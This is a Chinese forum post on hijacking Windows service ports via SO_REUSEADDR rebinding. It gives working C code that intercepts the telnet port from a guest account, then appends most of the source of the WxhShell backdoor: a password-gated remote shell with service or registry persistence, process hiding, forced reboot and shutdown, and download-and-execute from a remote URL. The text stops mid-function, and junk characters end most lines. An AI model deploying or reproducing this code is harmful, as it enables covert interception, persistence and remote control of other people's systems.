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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5v:c@n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =m{]Xep  
:sD/IM",},  
  saddr.sin_family = AF_INET; 8. 9TWsZ  
A1`y_ Aj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =<nx [J  
7VWq8FH`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A|!u`^p  
|> mx*G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oZ% rzLH  
biZwxP3  
  这意味着什么?意味着可以进行如下的攻击: 5(F @KeH>  
Dk$[b9b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :_R[@?c  
1p#O(o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x| jBn}  
tE"aNA#=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X"yj sk  
x^_(gve:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JVO,@~~  
(<RZZ{m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {<XPE:1>Y  
=b+W*vUAw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nqX)+{wAXe  
nSWW^ ;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vMBF7Jfx  
?2D1gjr  
  #include k)+2+hX&>  
  #include q$>/~aVM  
  #include ")%)e;V3  
  #include    OV)J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R7xKVS_MP  
  int main() @I{v  
  { }*4K{<02  
  WORD wVersionRequested; G,+-}~$_  
  DWORD ret; # fvt:iE  
  WSADATA wsaData; 6|q\ M  
  BOOL val; Qs24b  
  SOCKADDR_IN saddr; r q2]u  
  SOCKADDR_IN scaddr; Rlvb@aXgy  
  int err; g8<Ja(J  
  SOCKET s; /:-8 ,`  
  SOCKET sc; &%."$rC/0b  
  int caddsize; H=2sT+Sp  
  HANDLE mt; gJYB)LjH"  
  DWORD tid;   ;9w: %c1  
  wVersionRequested = MAKEWORD( 2, 2 ); B J,U,!  
  err = WSAStartup( wVersionRequested, &wsaData ); 2%0J/]n\A"  
  if ( err != 0 ) { j. 1@{H  
  printf("error!WSAStartup failed!\n"); ` drds  
  return -1; KjK.Sv{N  
  } ~";GH20  
  saddr.sin_family = AF_INET; :G+8%pUX]  
   fJ \bm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O6nCu  
[T8BQn!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tYE\tbCO'  
  saddr.sin_port = htons(23); >f7;45i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t?& a?6:J  
  { 1=fP68n  
  printf("error!socket failed!\n"); S!*wK-  
  return -1; -rC_8.u :  
  } ')ZM# :G  
  val = TRUE; D[d+lq#p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i9KQpWG:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6I,^4U  
  { }u"iA^'Ot  
  printf("error!setsockopt failed!\n"); <[7 bUB  
  return -1; _ ^5w f  
  } Qrr8i:Y^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tPDd~fOk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _T,X z_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 udCum4  
Yvky=RM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :Iy4 B+  
  { eC+S'Jgf  
  ret=GetLastError(); 2"Oj* ;  
  printf("error!bind failed!\n"); FT0HU<." 1  
  return -1; rnB-e?>  
  } x. d ;7  
  listen(s,2); |UA)s3Uhxb  
  while(1) .nXOv]  
  { 1: cD\  
  caddsize = sizeof(scaddr); Ns^[Hb[b'  
  //接受连接请求 /, G-1E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); njO5 YYOu  
  if(sc!=INVALID_SOCKET) TF_~)f(`  
  { AQCU\E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &~ =q1?  
  if(mt==NULL) KW&5&~)2  
  { y[ikpp#ozY  
  printf("Thread Creat Failed!\n"); Qyn~Vu43  
  break; 7#\\Ava$T  
  } lO?dI=}]  
  } rlQ4+~  
  CloseHandle(mt); aTJs.y -I~  
  } ?V3kIb  
  closesocket(s); } v#Tm  
  WSACleanup(); +mc0:e{WF  
  return 0; 1trk  
  }   -Xm/sq(i)%  
  DWORD WINAPI ClientThread(LPVOID lpParam) N{6 - rR  
  { $:v!*0/  
  SOCKET ss = (SOCKET)lpParam; e!+_U C  
  SOCKET sc; Hzd tR  
  unsigned char buf[4096]; $kc*~V~   
  SOCKADDR_IN saddr; okl*pA)  
  long num; B?;!j)FUtt  
  DWORD val; b:OQ/  
  DWORD ret; (%`R{Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gpo+-NnG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V/ a!&_ ""  
  saddr.sin_family = AF_INET; LV$@J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zkFx2(Hq-f  
  saddr.sin_port = htons(23); 2m$\]\kCUv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %hEhZW{:  
  { Oy> V/  
  printf("error!socket failed!\n"); xPuuG{Sm  
  return -1; ]{mz %\  
  } w 0V=49  
  val = 100; y$J M=f$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hj~nLgpN  
  { =LP,+z  
  ret = GetLastError(); )0RznFJ+X  
  return -1; BQ\o?={  
  } JYE[ 1M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L.5 /wg  
  { !KYX\HRW  
  ret = GetLastError(); ,!m][  
  return -1; xy/B<.M1  
  } -+#QZ7b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vh%=JL sK  
  { Lm-yTMNPn  
  printf("error!socket connect failed!\n");  4[\[Ho  
  closesocket(sc); WfnBWSA2 T  
  closesocket(ss); +\@) 1  
  return -1; m[k@\xS4e  
  } D7| =ev  
  while(1) 9&FFp*'3  
  { Sqt '}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s]tBd !~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `V(z z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `pB]_"b  
  num = recv(ss,buf,4096,0); H)eecH$K  
  if(num>0) p2(U'x c  
  send(sc,buf,num,0); !!jitFHzb  
  else if(num==0) ;QRnZqSv  
  break; /FP;Hsw%  
  num = recv(sc,buf,4096,0); IWRo$Yu  
  if(num>0) `i'72\(  
  send(ss,buf,num,0); SCXH{8SS  
  else if(num==0) {  S]"-x  
  break; tH7@oV;  
  } -F7GUB6B  
  closesocket(ss); WAzYnl'p  
  closesocket(sc); }ZP;kM$g  
  return 0 ; A7|CG[wZ  
  } BCrX>Pp }r  
@raw8w\Zj+  
@W{VT7w  
========================================================== J.R|Xd  
"s:eH"_s  
下边附上一个代码,,WXhSHELL J\WUBt-M  
Jp'XZ]o\  
========================================================== fR:BF47  
c^4^z"Mo`  
#include "stdafx.h" ,wyfMOGLt  
R F)Qsa  
#include <stdio.h> WcG!6.U>  
#include <string.h> t[L_n m5-  
#include <windows.h> *5kQ6#l  
#include <winsock2.h> `cz%(Ry,  
#include <winsvc.h> e58   
#include <urlmon.h> uQ}0hs  
`oDs]90  
#pragma comment (lib, "Ws2_32.lib") sHt PO[h  
#pragma comment (lib, "urlmon.lib") ;8?i  
ucVWvXCr  
#define MAX_USER   100 // 最大客户端连接数 qIO<\Y l  
#define BUF_SOCK   200 // sock buffer xaM? B7  
#define KEY_BUFF   255 // 输入 buffer o@p(8=x  
l'~~hQ{h/  
#define REBOOT     0   // 重启 U}6F B =  
#define SHUTDOWN   1   // 关机 E[z8;A^:0  
B4/0t:^I  
#define DEF_PORT   5000 // 监听端口 ? iX1;c9  
efK3{   
#define REG_LEN     16   // 注册表键长度 C( ay7  
#define SVC_LEN     80   // NT服务名长度 {*X8!P7C  
T)!$-qdz/  
// 从dll定义API 5W T^;J9V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ` |L l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); APfDy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !I 7bxDzK$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,wI$O8"!j  
w6B'&  
// wxhshell配置信息 eHjna\C  
struct WSCFG { 't3@dz_dG  
  int ws_port;         // 监听端口 W7j-siWJ  
  char ws_passstr[REG_LEN]; // 口令 -T s8y  
  int ws_autoins;       // 安装标记, 1=yes 0=no &~%( RO  
  char ws_regname[REG_LEN]; // 注册表键名 -<R"  
  char ws_svcname[REG_LEN]; // 服务名 L\:f#b~W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SGZ]_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fs43\m4= m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r35'U#VMk?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~miRnW*x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o(2tRDT\_b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P ~pC /z  
&ye,A(4  
}; 7]i=eD8  
X_j=u1*5  
// default Wxhshell configuration 3eqVY0q  
struct WSCFG wscfg={DEF_PORT, vlHE\%{  
    "xuhuanlingzhe", x6d0yJ <  
    1, d )}@0Q  
    "Wxhshell", *=6,}rX"I  
    "Wxhshell", \z/_vzz4  
            "WxhShell Service", 34@f(^d+^  
    "Wrsky Windows CmdShell Service", L>,j*a_[  
    "Please Input Your Password: ", @YH<Hc  
  1, CL~21aslI  
  "http://www.wrsky.com/wxhshell.exe", MzF9 &{N  
  "Wxhshell.exe" 'CrBxaA]s  
    }; &$'=SL(Z  
qkM<t?uS  
// 消息定义模块 k Xs&k8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bIX'|=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v,\2$q/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JOR ? xCc  
char *msg_ws_ext="\n\rExit."; *zf@J'  
char *msg_ws_end="\n\rQuit."; BUuU#e5  
char *msg_ws_boot="\n\rReboot..."; _?5$ST@5  
char *msg_ws_poff="\n\rShutdown..."; 2'R& K  
char *msg_ws_down="\n\rSave to "; +<^TyIJ0  
][ ,NNXrc&  
char *msg_ws_err="\n\rErr!"; :s Mc}k?9S  
char *msg_ws_ok="\n\rOK!"; zF& >1y.$  
cY}Nr#%s@U  
char ExeFile[MAX_PATH]; q ;@:,^  
int nUser = 0; Qp~W|zi(  
HANDLE handles[MAX_USER]; 0 .& B  
int OsIsNt; 7\BGeI  
:6^8Q,C1@  
SERVICE_STATUS       serviceStatus; CoZXbTq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <2\4eusk  
LPg1G+e  
// 函数声明 |;L%hIR[  
int Install(void); m&'z|eN  
int Uninstall(void); ^'g1? F$_  
int DownloadFile(char *sURL, SOCKET wsh); wU\3"!^h  
int Boot(int flag); 12NV  
void HideProc(void); 6.%V"l   
int GetOsVer(void); 3$R^tY2UU  
int Wxhshell(SOCKET wsl); 91Cg   
void TalkWithClient(void *cs); [7QIpt+FSo  
int CmdShell(SOCKET sock); a]-.@^:_i  
int StartFromService(void); F-^#EkEGe  
int StartWxhshell(LPSTR lpCmdLine); b&Dc DX  
jY]hMQ/H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?c vXuxCm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &DqeO8?Q  
w% Ug9  
// 数据结构和表定义 g@&@ ]63  
SERVICE_TABLE_ENTRY DispatchTable[] = :QSCky*i  
{ \XG18V&  
{wscfg.ws_svcname, NTServiceMain}, (Ea)`'/  
{NULL, NULL} (z[|\6O  
}; wYf9&}k\4  
++s=$D  
// 自我安装 Wcgy:4K3  
int Install(void) ([-xM%BI6  
{ Lv;R8^n  
  char svExeFile[MAX_PATH]; ` "Gd/  
  HKEY key; uW.)(l  
  strcpy(svExeFile,ExeFile); nDR)UR  
=w~phn  
// 如果是win9x系统,修改注册表设为自启动 u -CCUMR  
if(!OsIsNt) { a;Nj'M~U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HWr")%EhD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); . Q#X'j  
  RegCloseKey(key); </K"\EU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LnN6{z{M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %hYol89F  
  RegCloseKey(key); HiBw==vlV  
  return 0; KcGM=z?:  
    } +["t@Q4IQ  
  } VfJbexYT  
} N XwQvm;q  
else { GC{)3)_ t  
x<  Td  
// 如果是NT以上系统,安装为系统服务 F5CV<-jB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lP@/x+6tg  
if (schSCManager!=0) py,B6UB5  
{ c3\z  
  SC_HANDLE schService = CreateService |eEcEu?/b  
  ( SX$Nef9p  
  schSCManager, ^9})@,(D  
  wscfg.ws_svcname, !MOgM  
  wscfg.ws_svcdisp, o{EWNkmj  
  SERVICE_ALL_ACCESS, M PMa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4{d`-reHg  
  SERVICE_AUTO_START, QyJ2P{z  
  SERVICE_ERROR_NORMAL, 'RIlyH~Yf  
  svExeFile, DU6AlNx  
  NULL, |%F[.9Dp  
  NULL, U]!D=+  
  NULL, 0|0<[:(hc  
  NULL, uvo2W!  
  NULL C|kZT<,]  
  ); wvAXt*R  
  if (schService!=0) >Q0HqOq  
  { '_z#}P<  
  CloseServiceHandle(schService); ~-+lZ4}  
  CloseServiceHandle(schSCManager); %ZF6%m0S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *$ZLu jy7  
  strcat(svExeFile,wscfg.ws_svcname); HvWnPh1l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ns6Vf5T.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pg3O )D9  
  RegCloseKey(key); fP41 B  
  return 0; bg\~"  
    } *o8DfZ  
  } e]\{ Ia  
  CloseServiceHandle(schSCManager); aqTMOWyeu  
} EUv xil  
} VP4W~;UV|\  
mQQ5>0^m  
return 1; QdM&M^  
} pN+lC[C  
^-3R+U- S  
// 自我卸载 gxpGi@5  
int Uninstall(void) D0?l$]aE  
{ 3|/<Pk  
  HKEY key; 'F'v/G~F  
`P&L. m]|  
if(!OsIsNt) { W/PZD (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .P[ %t=W  
  RegDeleteValue(key,wscfg.ws_regname); "{0 o"k  
  RegCloseKey(key); 9aw- n*<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~]71(u2  
  RegDeleteValue(key,wscfg.ws_regname); o=`FGowF  
  RegCloseKey(key); *g$egipfF  
  return 0; X<4h"W6  
  } em@\S  
} X@u-n_  
} $I%75IZ  
else { Ku{DdiTg>  
hSmu"a,S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _"8\k 7S*  
if (schSCManager!=0) 56Q9RU(M  
{ pq`Bg`c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :^mfTj$  
  if (schService!=0) $x&\9CRM  
  { |BD]K0  
  if(DeleteService(schService)!=0) { X!0s__IOc  
  CloseServiceHandle(schService); Gc) Zu`67  
  CloseServiceHandle(schSCManager); djVE x }  
  return 0; eATX8`W  
  } EM+_c)d}  
  CloseServiceHandle(schService); !$'s?rnh  
  } j|f$:j  
  CloseServiceHandle(schSCManager); fDmGgD?  
} 3AWNoXh  
} |C9qM  
9,|&+G$  
return 1; ?@ ei_<A{  
} H4'xxsx  
DCfV  
// 从指定url下载文件 ,*fvA?  
int DownloadFile(char *sURL, SOCKET wsh) EQ&E C  
{ <tZPS`c'_  
  HRESULT hr; 1MdVWFKXV  
char seps[]= "/"; \*#9Ry^f  
char *token; UOrf wK  
char *file; jP6;~[rl  
char myURL[MAX_PATH]; .^^YS$%%7  
char myFILE[MAX_PATH]; ;|v6^2H"  
]*+ozAG4  
strcpy(myURL,sURL); v>TI.;{y  
  token=strtok(myURL,seps); WP1>)  
  while(token!=NULL) 8phc ekh+  
  { C% <[mM  
    file=token; 2U6j?MyH2  
  token=strtok(NULL,seps); yi3@-  
  } @>'.F<:P<  
K;2tY+I  
GetCurrentDirectory(MAX_PATH,myFILE); |5SYKA7CS  
strcat(myFILE, "\\"); RaFk/mSw  
strcat(myFILE, file); 5B{O!SNd  
  send(wsh,myFILE,strlen(myFILE),0); n$ye:p>`-  
send(wsh,"...",3,0); JcxhI]E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x\j6=|  
  if(hr==S_OK) .IYE+XzV  
return 0; S2)rkX$  
else ,,r%Y&:`6  
return 1; -b-Pvw4  
4 Yq|Z  
} zO`54^  
u]P0:)tS.  
// 系统电源模块 /ve8);cH\  
int Boot(int flag) H"8+[.xBh  
{ Ml8'=KN_  
  HANDLE hToken; ANh5-8y  
  TOKEN_PRIVILEGES tkp; >\b=bT@iM  
2s,wC!',  
  if(OsIsNt) { ( q^umw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W`] ,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Pklw^k   
    tkp.PrivilegeCount = 1; RRy3N )HR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K"1xtpy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5EDM?G  
if(flag==REBOOT) { :0pxacD"!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y3jb 'S4(  
  return 0; DUiqt09`~  
} QnikgV  
else { "V:B-q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "(ehf|%>%  
  return 0; }' `2C$  
} A(#hyb#  
  } w}pFa76rm  
  else { @)iv'   
if(flag==REBOOT) { 0Ha1pqR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4f~hd-z  
  return 0; Zk2-U"0\o  
} C( C4R+U  
else { %(b`i C9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +u*WUw! %  
  return 0; bU1UNm`{C  
} ?lCKZm.,(-  
} ( 3IM7  
D!TL~3d 1  
return 1; s]0x^"#B  
} c]O3pcU  
Y;S+2])R2  
// win9x进程隐藏模块 )` S,vF~  
void HideProc(void) 68R[Lc9q5  
{ .Vq-<c%  
XXacWdh \  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ I+#K M  
  if ( hKernel != NULL ) $Y][-8{t  
  { 2#5SI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <R}(UK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [|V<e+>T/  
    FreeLibrary(hKernel); +2`RvQN  
  } 0Ep%&>@  
t)XNS!6#]?  
return; ?f[#O&#  
} j&) +qTV  
[-_u{j  
// 获取操作系统版本 ro7\}O:I  
int GetOsVer(void) oUR'gc :  
{ (Ac ' }O  
  OSVERSIONINFO winfo; ZVEq{x1Zc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]1rr$f9  
  GetVersionEx(&winfo); $zq`hI!1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9)s=%dL  
  return 1; MsCY5g  
  else IX;u+B  
  return 0; d_Ll,*J9  
} 9f;\fe  
~:Dr]kt  
// 客户端句柄模块 <oTIzj7f  
int Wxhshell(SOCKET wsl) `TKe+oS)  
{ a /X@5kr{  
  SOCKET wsh; "#d}S)GlXM  
  struct sockaddr_in client; I :%(nKBK  
  DWORD myID; '~%1p_0dq  
^.Vq0Qzy]  
  while(nUser<MAX_USER) z+&mMP`-  
{ ?n>h/[/  
  int nSize=sizeof(client); AM*V4}s*9k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #/!a=0  
  if(wsh==INVALID_SOCKET) return 1; FSd842O  
rC}r99Pe:x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6~V$0Y>]  
if(handles[nUser]==0) }'a}s0h  
  closesocket(wsh); Gr&5 mniu  
else eiI}:5~ /g  
  nUser++; #A@*k}/+  
  } "n:z("Q*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0Z8K+,'!  
&V$_u#<  
  return 0; (}vi"mCeW  
} bNp RGhlV  
a_w# ,^/P  
// 关闭 socket l~Hs]*jm  
void CloseIt(SOCKET wsh) 5`*S'W}\>  
{ g5lf- }?  
closesocket(wsh); $fV47;U'*  
nUser--; ]$!-%pNv  
ExitThread(0); {LVii}<  
} { :'#Ts<  
`$SX%AZA  
// 客户端请求句柄 #g\O*oYaw  
void TalkWithClient(void *cs) pJ"Wg@+  
{ ^tIs57!  
EKhwrBjS  
  SOCKET wsh=(SOCKET)cs; w_q{C>- cR  
  char pwd[SVC_LEN]; _n@#Lufx  
  char cmd[KEY_BUFF]; J7/"8S_#N  
char chr[1]; 1om:SHw  
int i,j; i5w  
XLz>h(w=  
  while (nUser < MAX_USER) { ihBlP\C  
L0Bcx|)"$`  
if(wscfg.ws_passstr) { h)7{Cj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;'NB6[x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~[e;{45V  
  //ZeroMemory(pwd,KEY_BUFF); 6%~ Z^>`N  
      i=0; q3TAWNzI0  
  while(i<SVC_LEN) { 3qE2mYK  
eaCv8zdX  
  // 设置超时 1|l'oTAA  
  fd_set FdRead; Zsc710_  
  struct timeval TimeOut; c#|!^gjf  
  FD_ZERO(&FdRead); X zgJ@  
  FD_SET(wsh,&FdRead); <Qu]m.z[  
  TimeOut.tv_sec=8; q+5g+9  
  TimeOut.tv_usec=0; _@;t^j+l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K[PH#dF5,x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UUc{1"z{  
R$k4}p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gUwg\>UC  
  pwd=chr[0]; b/HhGA0  
  if(chr[0]==0xd || chr[0]==0xa) { "VR>nyG%  
  pwd=0; .z4 fJx  
  break; =<MSM\Rb  
  } n|sP0,$N1  
  i++; <R582$( I  
    } {Y6U%HG{{r  
WM$}1:O  
  // 如果是非法用户,关闭 socket -61{ MMiA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pSvRyb.K  
} "MQy>mD6  
b(+M/O>I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "bZ%1)+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 109dB$+$  
-b"mx"'?  
while(1) { 5RXZ$/  
fT.18{'>  
  ZeroMemory(cmd,KEY_BUFF); c1B <9_  
E58fY|9  
      // 自动支持客户端 telnet标准   dc.9:u*w  
  j=0; d,AEV_  
  while(j<KEY_BUFF) { `w';}sQA7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bYQvh/(J  
  cmd[j]=chr[0]; 0F> ils  
  if(chr[0]==0xa || chr[0]==0xd) { "c` $U]M%  
  cmd[j]=0; _ dEc? R}  
  break; W{:^P0l  
  } /I}#0}  
  j++; :_V9Jwu  
    } ~o_0RB  
>uT,Z,7O  
  // 下载文件 KM li!.(b  
  if(strstr(cmd,"http://")) { 0=O(+ yi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wd*8w$\  
  if(DownloadFile(cmd,wsh)) 9"hH2jc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z> Jm  
  else .P(k |D&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^QZGu-.W  
  } BBuI|lr  
  else { j}O~6A>|  
UgI0 *PE2  
    switch(cmd[0]) { ~SUrbRaY>  
  z#9Tg"8]  
  // 帮助 +9Q,[)e r  
  case '?': { 3kfrOf.4h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NV\t%/ ?  
    break; 4'u +%6+__  
  } 9MP_#M7  
  // 安装 55Z)*JMv  
  case 'i': { (:Di/{i&r5  
    if(Install()) Rr#Zcs!G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZD!?mR+-  
    else q_iPWmf p*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X)7_@,7  
    break; kq|(t{@Rp  
    } :Y wb  
  // 卸载 8LuM eGs  
  case 'r': { >}<1  
    if(Uninstall()) Xb#!1hA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E,IeW {6s  
    else R 6JHRd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iB4`w\-o  
    break; D2}N6i  
    } Nini8@d  
  // 显示 wxhshell 所在路径 rSu+zS7`X  
  case 'p': { M;2@<,rM  
    char svExeFile[MAX_PATH]; |)~t ^  
    strcpy(svExeFile,"\n\r"); eka<mq|W  
      strcat(svExeFile,ExeFile); x -;tV=E}  
        send(wsh,svExeFile,strlen(svExeFile),0); n vzk P{  
    break; by}C;eN  
    } ~]f6@n  
  // 重启 Q$,AQyBlqc  
  case 'b': { NJ]AxFG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `>ppDQaS)W  
    if(Boot(REBOOT)) H!SFSgAu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&S *S_c  
    else { suKr//_  
    closesocket(wsh); $?P5A E  
    ExitThread(0); ZZ'5BfI"I%  
    } lo!^h]iE!  
    break; +G: CR,Z>+  
    } 6_mkt|E=  
  // 关机 i?{)o]i  
  case 'd': { KXrZ:4bg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  iYaS  
    if(Boot(SHUTDOWN)) *Wj]e%  
